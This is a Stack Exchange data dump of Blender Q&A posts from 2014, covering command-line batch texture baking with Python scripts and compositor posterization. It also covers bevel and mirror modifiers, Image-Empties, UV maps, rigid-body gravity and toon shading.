  <row Id="10860" PostTypeId="1" AcceptedAnswerId="10861" CreationDate="2014-06-01T02:16:40.130" Score="11" ViewCount="4687" Body="&lt;p&gt;Is it possible to bake textures from the command line?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is useful for setting up batch jobs, baking an entire level for example.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="31447" LastEditDate="2020-12-15T09:55:12.310" LastActivityDate="2020-12-15T12:00:16.537" Title="Baking textures on headless machine (batch baking)" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;baking&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="10861" PostTypeId="2" ParentId="10860" CreationDate="2014-06-01T02:16:40.130" Score="14" Body="&lt;p&gt;Yes, the bake operator can run in background mode, for both Blender-Internal and Cycles Baking.&lt;/p&gt;&#xA;&lt;p&gt;A very simple script could look like this:&lt;/p&gt;&#xA;&lt;h2&gt;Bake Once&lt;/h2&gt;&#xA;&lt;p&gt;&lt;code&gt;bake.py&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; import bpy&#xA;&#xA; # Like pressing the 'Bake' button in Blender&#xA; # this will remain locked until the bake is complete.&#xA; bpy.ops.object.bake(type='COMBINED')&#xA;&#xA; # You might want to inspect the materials and extract images&#xA; # but for this example, simply select by name&#xA; image = bpy.data.images[&amp;quot;Untitled&amp;quot;]&#xA;&#xA; # save-as by setting the target path and saving&#xA; image.file_format = 'PNG'&#xA; image.filepath_raw = &amp;quot;//my_new_bake.png&amp;quot;&#xA; image.save()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Execute the bake with:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; blender --background bake_test.blend --python bake.py&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;For batch jobs you would have to change the selection before calling &lt;code&gt;bpy.ops.object.bake&lt;/code&gt; each time.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h2&gt;Bake Everything&lt;/h2&gt;&#xA;&lt;p&gt;This next example is more comprehensive, and uses the &lt;code&gt;is_dirty&lt;/code&gt; image flag to detect which images to save, giving each image a &lt;code&gt;_bake&lt;/code&gt; suffix.&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;bake_all.py&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;# Blender v2.8x +&#xA;import bpy&#xA;import os&#xA;&#xA;scene = bpy.context.scene&#xA;for obj in scene.objects:&#xA;    obj.select_set(False)&#xA;&#xA;for obj in scene.objects:&#xA;    if obj.type != 'MESH':&#xA;        continue&#xA;&#xA;    bpy.context.view_layer.objects.active = obj&#xA;    obj.select_set(True)&#xA;&#xA;    bpy.ops.object.bake(type='COMBINED')&#xA;    obj.select_set(False)&#xA;&#xA;# save all baked images&#xA;for image in bpy.data.images:&#xA;    if image.is_dirty:&#xA;        # foo.png -&amp;gt; foo_bake.png&#xA;        filepath, filepath_ext = os.path.splitext(image.filepath_raw)&#xA;        image.filepath_raw = filepath + &amp;quot;_bake&amp;quot; + filepath_ext&#xA;        image.save()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Execute the bake with:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; blender --background bake_test.blend --python bake_all.py&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Further ideas for batch baking which might be useful.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Automate baking an entire game-level:&lt;/p&gt;&#xA;&lt;p&gt;loop over each group and bake its objects &lt;em&gt;(or each group matching a naming convention, ending with &lt;code&gt;.bake&lt;/code&gt; for example)&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Automate baking existing models:&lt;/p&gt;&#xA;&lt;p&gt;A utility script which loads in models from an external format (OBJ, FBX, 3DS... etc), unwrap, assign images, bake and exports.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Automate low-poly mesh creation with the decimate modifier, and bake normal maps (high-&amp;gt;low poly meshes).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Bake textures over time (create a baked image sequence).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a utility which runs back in a background process so you can keep on using Blender.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2020-12-15T12:00:16.537" LastActivityDate="2020-12-15T12:00:16.537" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="10862" PostTypeId="1" AcceptedAnswerId="10864" CreationDate="2014-06-01T09:39:03.810" Score="2" ViewCount="1149" Body="&lt;p&gt;I tried to split an image RGB values and re-combined it with rounded values in order to reproduce the results described in this &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?244118-Cool-nodes-I-didn-t-know-about&amp;amp;highlight=&quot; rel=&quot;nofollow noreferrer&quot;&gt;BA Thread&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But instead of a posterized image all I get is an almost black image. Why is that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zciY6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue was that I loaded an HDR image, with standard images it works as 3pointedit pointed out the value should be reset (I just tried several values before the screenshot was made).&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-06-01T20:34:44.850" LastActivityDate="2017-06-07T00:40:06.023" Title="How can an image be posterized in the compositor?" Tags="&lt;nodes&gt;&lt;compositor&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10864" PostTypeId="2" ParentId="10862" CreationDate="2014-06-01T10:28:21.547" Score="2" Body="&lt;p&gt;If you are replicating the setup on my BA thread &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?244118-Cool-nodes-I-didn-t-know-about&quot; rel=&quot;nofollow&quot;&gt;http://blenderartists.org/forum/showthread.php?244118-Cool-nodes-I-didn-t-know-about&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then the round value should be 0.1 not 1.0&lt;/p&gt;&#xA;" OwnerUserId="1218" LastActivityDate="2014-06-01T10:28:21.547" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10865" PostTypeId="1" AcceptedAnswerId="10879" CreationDate="2014-06-01T11:14:18.803" Score="5" ViewCount="4057" Body="&lt;p&gt;I am creating a lego man and would like the legs beveled so that the edges are not too sharp. This works fine for simple objects like the body.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/heLyc.png&quot; alt=&quot;body&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the legs are made from a cylinder, which is chopped off at the bottom then its vertices are extruded to create the blocky part of the lower leg.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZCqDF.png&quot; alt=&quot;leg&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to get a bevel on this type of object, or should I create the leg using a different technique to get smoother edges?&lt;/p&gt;&#xA;" OwnerUserId="1626" LastActivityDate="2014-06-01T17:06:38.400" Title="Add bevel to more complex objects" Tags="&lt;modeling&gt;&lt;modifiers&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10866" PostTypeId="1" AcceptedAnswerId="10867" CreationDate="2014-06-01T11:36:32.407" Score="1" ViewCount="263" Body="&lt;p&gt;Trying to get an &lt;a href=&quot;http://digital-photography-school.com/how-to-make-digital-photos-look-like-lomo-photography/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Lomography Look&lt;/a&gt; I first tried to create a &lt;a href=&quot;https://en.wikipedia.org/wiki/Vignetting&quot; rel=&quot;nofollow noreferrer&quot;&gt;Vignette&lt;/a&gt; but the color information gets lost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gcn4P.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-06-01T22:26:24.163" Title="Why is the color information lost when image data is multiplied by and ellipse mask?" Tags="&lt;nodes&gt;&lt;compositor&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10867" PostTypeId="2" ParentId="10866" CreationDate="2014-06-01T11:39:31.403" Score="4" Body="&lt;p&gt;A Mix-Node set to multiply must instead of a multiplying Math-Node be used to achieve the vignette effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HnzyD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thats because a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Composite_Nodes/Types/Convertor&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Math-Node's&lt;/em&gt;&lt;/a&gt; input is a scalar value and the color vector seems (I couldn't find a reference for that) to be converted to a single grayscale value. The &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Materials/Nodes/Types/Color&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Mix-Node&lt;/em&gt;&lt;/a&gt; is designed to process color data. &lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-06-01T17:22:21.687" LastActivityDate="2014-06-01T17:22:21.687" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10870" PostTypeId="1" CreationDate="2014-06-01T12:54:47.473" Score="3" ViewCount="654" Body="&lt;p&gt;I need to assume 1 BU = 1 cm, for use with Unreal Engine. That's because I can't use the FBX exporter's &quot;Scale&quot; value - it's not recognized properly in Unreal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Scene's settings, I chose Metric and changed the unit scale to 0.01. Everything is correct expect for simulations :/ Object are falling slooowly...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't set gravity to -981.0 - Blender clamps all values above 200.0. So, what else can I do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oskar&lt;/p&gt;&#xA;" OwnerUserId="1028" LastEditorUserId="2607" LastEditDate="2015-07-02T18:08:10.890" LastActivityDate="2015-07-02T18:08:10.890" Title="How to make gravity respect the scale in Scene &gt; Units?" Tags="&lt;export&gt;&lt;rigid-body-simulation&gt;&lt;units&gt;&lt;unreal-engine&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10872" PostTypeId="2" ParentId="10701" CreationDate="2014-06-01T13:35:03.973" Score="1" Body="&lt;p&gt;I found out that it was not a Blender3D issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It was an conflict between Linux Mint window-manager libraries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps KDE vs Gnome or different versions of Gnome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I removed some Gnome libraries and the menues in Blender worked again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the other suggestions.&lt;/p&gt;&#xA;" OwnerUserId="3621" LastActivityDate="2014-06-01T13:35:03.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10873" PostTypeId="2" ParentId="9000" CreationDate="2014-06-01T13:45:01.427" Score="1" Body="&lt;p&gt;I've just made an install of Linux Mint 16 64bit (with the Mate window manager) and have Blender3D working with CUDA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what did:&lt;br&gt;&#xA;1: After installation of Linux Mint 16 64bit I did an update (many files)&lt;br&gt;&#xA;2: Reboot.&lt;br&gt;&#xA;3: Enabled the proprietary Nvidia-driver&lt;br&gt;&#xA;4: With the Software Manager I installed the CUDA Toolkit (nvidia-cuda-toolkit)&lt;br&gt;&#xA;5: Reboot.&lt;br&gt;&#xA;6: Install Blender 3D&lt;br&gt;&#xA;7: In Blender 3D CUDA was now available.&lt;br&gt;&#xA;&lt;br&gt;&#xA;I'm not sure if nr.4 and nr.6 can be switched ... but you can try.&lt;/p&gt;&#xA;" OwnerUserId="3621" LastActivityDate="2014-06-01T13:45:01.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10874" PostTypeId="2" ParentId="10865" CreationDate="2014-06-01T13:56:09.093" Score="5" Body="&lt;p&gt;Here's a way you can do this.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With a little extra work and the same basic tools it can be refined further.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/O5wdn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2014-06-01T13:56:09.093" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10875" PostTypeId="1" AcceptedAnswerId="10876" CreationDate="2014-06-01T13:56:51.713" Score="8" ViewCount="3036" Body="&lt;p&gt;How can an Image-Empty be done with Python?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And how to set an image file on it? &lt;code&gt;Object.data&lt;/code&gt; is &lt;code&gt;None&lt;/code&gt; for empties, and there is no &lt;code&gt;.image&lt;/code&gt; property on the object level either.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-06-01T13:56:51.713" Title="How to create an Empty of type Image and assign a picture with Python?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;objects&gt;&lt;image&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10876" PostTypeId="2" ParentId="10875" CreationDate="2014-06-01T13:56:51.713" Score="10" Body="&lt;p&gt;An Empty is created like a regular Object, but with &lt;code&gt;None&lt;/code&gt; for its data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;empty = bpy.data.objects.new(&quot;My Empty&quot;, None)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It can be linked to the current Scene like any other object:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;scene = bpy.context.scene&#xA;scene.objects.link(empty)&#xA;scene.update()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The origin is set using the standard &lt;code&gt;.location&lt;/code&gt; property (you may also use &lt;code&gt;.matrix_world.translation&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;empty.location = (1, 2, 3)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To make this Empty an Image-Empty, change its &lt;code&gt;.empty_draw_type&lt;/code&gt; property to &lt;code&gt;IMAGE&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;empty.empty_draw_type = 'IMAGE'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;An Image datablock is then assigned to the Object's &lt;code&gt;.data&lt;/code&gt; attribute!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;img = bpy.data.images.load(&quot;path/to/image.png&quot;)&#xA;empty.data = img&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Other properties available for Image-Empties are (UI / Python):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Transparency / &lt;code&gt;Object.color[3]&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Image Offset / &lt;code&gt;Object.empty_image_offset&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Image Size / &lt;code&gt;Object.empty_draw_size&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;BTW: You can change the RGB colors (&lt;code&gt;.color[0:3]&lt;/code&gt;) of the object to tint the Image, which is not possible via the interface!&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-06-01T13:56:51.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10877" PostTypeId="1" AcceptedAnswerId="10937" CreationDate="2014-06-01T16:09:32.247" Score="2" ViewCount="2068" Body="&lt;p&gt;Is it possible to set some rotation values to Blender GUI corresponding object fields (or any other like location or scale) without actually applying them to the object itself, like some sort of &quot;offset&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I mean I have script that set some objects to scene, rotate them right but writes its values as (0,0,0) instead of their real rotation values (but I know those real values myself so I could set them BUT without changing object actual rotation)...like let's say object rotation value is 0 but I want to be represented and set visually in Blender rotation fields as 90 - is something like this possible, please?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;P.S.: I NEED SCRIPT BASED ANSWERS ONLY&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="3462" LastEditorUserId="1828" LastEditDate="2014-06-01T22:40:10.043" LastActivityDate="2020-09-30T18:19:35.537" Title="Set rotation values without applying them" Tags="&lt;python&gt;&lt;objects&gt;&lt;properties&gt;" AnswerCount="3" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="10878" PostTypeId="1" CreationDate="2014-06-01T16:35:42.243" Score="1" ViewCount="1546" Body="&lt;p&gt;I haven't found any tutorials on cartoon rendering. What I'm trying to achieve is this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://do512blog.com/wp-content/uploads/2013/07/Scooby-Doo-Mystery-Incorporated.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VAvkU.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, I know freestyle is not realistic rendering, but I can notice some light bouncing. if that is so, how can I achieve that effect?&lt;/p&gt;&#xA;" OwnerUserId="3398" LastEditorUserId="599" LastEditDate="2014-06-03T01:49:28.623" LastActivityDate="2014-06-03T01:49:28.623" Title="How to make a model shaded with only two colors?" Tags="&lt;freestyle&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10879" PostTypeId="2" ParentId="10865" CreationDate="2014-06-01T17:06:38.400" Score="5" Body="&lt;p&gt;The bevel modifier ought to do the trick for you. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply select your object in Object Mode, and then add a &lt;strong&gt;Bevel&lt;/strong&gt; modifier from the &lt;em&gt;Modifier properties&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/78qUY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2etvD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then adjust the amount of beveling and the number of segments from the modifier options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; be wary of ngons. These do not bevel very well and will tend to lead to weird artifacts in the beveled mesh. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also specify only certain areas to be beveled via the the &lt;strong&gt;Limit Methods&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="44" LastActivityDate="2014-06-01T17:06:38.400" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10880" PostTypeId="1" AcceptedAnswerId="10885" CreationDate="2014-06-01T17:25:14.057" Score="4" ViewCount="4728" Body="&lt;p&gt;The UV mapping in textured viewport shading mode and the rendered image is different.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I unwrapped a UV map in textured mode and then saw the result of the Cycles render. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, their UV mappings are different.&#xA;I already connected the UV output of a texture coordinate node to the vector input of an Image Texture node. The unwrapped image file is the same as the image file in the material. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/i9t8M.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/i9t8M.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2662" LastEditorUserId="599" LastEditDate="2014-06-12T08:04:48.967" LastActivityDate="2015-03-05T18:53:59.140" Title="UV mapping in viewport is different from render?" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10881" PostTypeId="1" AcceptedAnswerId="10883" CreationDate="2014-06-01T18:10:10.663" Score="2" ViewCount="1117" Body="&lt;p&gt;Is the curve a representation of a function which describes y = f(x) where x is the input as composite or R,G.B channel and y is the result where x and y are in the range 0..255?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case that is true, how does the vertical graph (D) perform a posterization as described in the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Materials/Nodes/Types/Color&quot; rel=&quot;nofollow noreferrer&quot;&gt;Documentation on RGB curves&lt;/a&gt; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GiG79.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;A) Lighten B) Negative C) Decrease Contrast D) Posterize&lt;/sup&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-06-01T19:34:28.363" Title="What do the coordinates in a RGB-Curve mean?" Tags="&lt;nodes&gt;&lt;compositor&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10882" PostTypeId="1" AcceptedAnswerId="10884" CreationDate="2014-06-01T19:21:55.843" Score="16" ViewCount="53722" Body="&lt;p&gt;I'm learning how to use the mirror modifier and I am having some trouble.  When I apply the modifier to my object I don't see a mirrored version of it.  What am I doing wrong? &lt;img src=&quot;https://i.stack.imgur.com/BNHKW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3682" LastActivityDate="2018-08-08T13:52:29.067" Title="Mirror modifier is not working, no mirrored object?" Tags="&lt;modeling&gt;&lt;modifiers&gt;&lt;mirror&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10883" PostTypeId="2" ParentId="10881" CreationDate="2014-06-01T19:34:28.363" Score="3" Body="&lt;p&gt;The coordinate range of the RGB curves is &lt;code&gt;[0, 1]&lt;/code&gt;. The RGB values in Blender are always in &lt;code&gt;[0, 1]&lt;/code&gt; range, where 0 is is no intensity and 1 is full intesity of the color channel. Otherwise you are correct. The curve represents a function which maps input values (x axis) to output values (y axis).&lt;/p&gt;&#xA;&lt;p&gt;The vertical curve (D) does the following: It manipulates the combined color values (note that the C is checked at the top of the RGB Curves window). This means the curve is applied to all channels individually. It maps all R, G and B values that are smaller than 0.5 to 0 and all that are greater than 0.5 to 1. So the color (0.8, 0.6, 0.2), a light ochre, would be mapped to (1.0, 1.0, 0.0) which is pure yellow.&lt;br&gt;&#xA;If you apply this curve to an image the R, G and B values of every pixel are mapped to either 0 or 1, resulting in &lt;code&gt;2³ = 8&lt;/code&gt; possible colors. Reducing the number of possible colors in an image is often called posterization.&lt;br&gt;&#xA;If you want posterization with more than eight colors you could add more steps to the curve. Here is an example of a curve that will map an image to &lt;code&gt;3³ = 27&lt;/code&gt; colors.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/BAt4i.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Apart from the combined channel you can of course also manipulate the separate R G and B channels by clicking on the on the corresponding button on top of the RGB Curves window and modifying the curves of the channels. The curves of the separate channels are applied AFTER the curve of the combined channel.&lt;/p&gt;&#xA;" OwnerUserId="3089" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-06-01T19:34:28.363" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10884" PostTypeId="2" ParentId="10882" CreationDate="2014-06-01T19:52:31.210" Score="21" Body="&lt;p&gt;The mirror modifier mirrors the object around the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects#Object_Centers&quot;&gt;&lt;em&gt;object origin&lt;/em&gt;&lt;/a&gt; (the yellow dot in the center of the cube). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the origin is in the center of the cube, the mirrored half is the same as the existing geometry of the cube, and no change is apparent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you move the cube in &lt;em&gt;Edit mode&lt;/em&gt; (which won't move the origin), you'll notice the cube is mirrored as you might expect:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bVzdA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that in addition to &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects#Object_Centers&quot;&gt;moving the object origin&lt;/a&gt; (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt;) where you want to mirror, you can specify a &lt;em&gt;Mirror Object&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yw9NJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will use the origin of the specified object (usually an &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Empties&quot;&gt;empty&lt;/a&gt;) instead.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-06-01T20:04:09.813" LastActivityDate="2014-06-01T20:04:09.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10885" PostTypeId="2" ParentId="10880" CreationDate="2014-06-01T20:10:05.360" Score="4" Body="&lt;p&gt;Meshes in Blender can have multiple UV coordinate sets.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/sILKI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The one selected (blue background) is the UV map used in textured mode. The one with the small camera icon activated to the right is the default UV map used for rendering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your model has multiple UV maps, either click the camera icon of the map you want to use for rendering or select the map by its name as an object-attribute in the node editor:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/nTctY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;You can find the &lt;code&gt;Attribute&lt;/code&gt; node by pressing [Shift+A] and selecting Input-&gt;Attribute in the node editor.&lt;/p&gt;&#xA;" OwnerUserId="3089" LastActivityDate="2014-06-01T20:10:05.360" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10886" PostTypeId="2" ParentId="10870" CreationDate="2014-06-01T20:22:08.937" Score="1" Body="&lt;p&gt;Under the scene settings there are also settings for the Rigid Body world. Instead of increasing the gravity, you could just increase the simulation speed there. Setting the speed to 100 will make the simulation look like the gravity was -981.0 in Blender.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ow92I.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3089" LastActivityDate="2014-06-01T20:22:08.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10887" PostTypeId="2" ParentId="10878" CreationDate="2014-06-01T20:26:58.257" Score="5" Body="&lt;p&gt;Freestyle only renders lines. For the shading, you might try &lt;em&gt;Toon shading&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/80pTo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9kBVx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-06-01T20:26:58.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10890" PostTypeId="2" ParentId="10866" CreationDate="2014-06-01T22:26:24.163" Score="0" Body="&lt;p&gt;Math nodes only process a single value. While a mix node retains 3 channels of colour information. The math node effectively strips or contracts the channels down to one. Not sure if average or first in?&lt;/p&gt;&#xA;" OwnerUserId="1218" LastActivityDate="2014-06-01T22:26:24.163" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
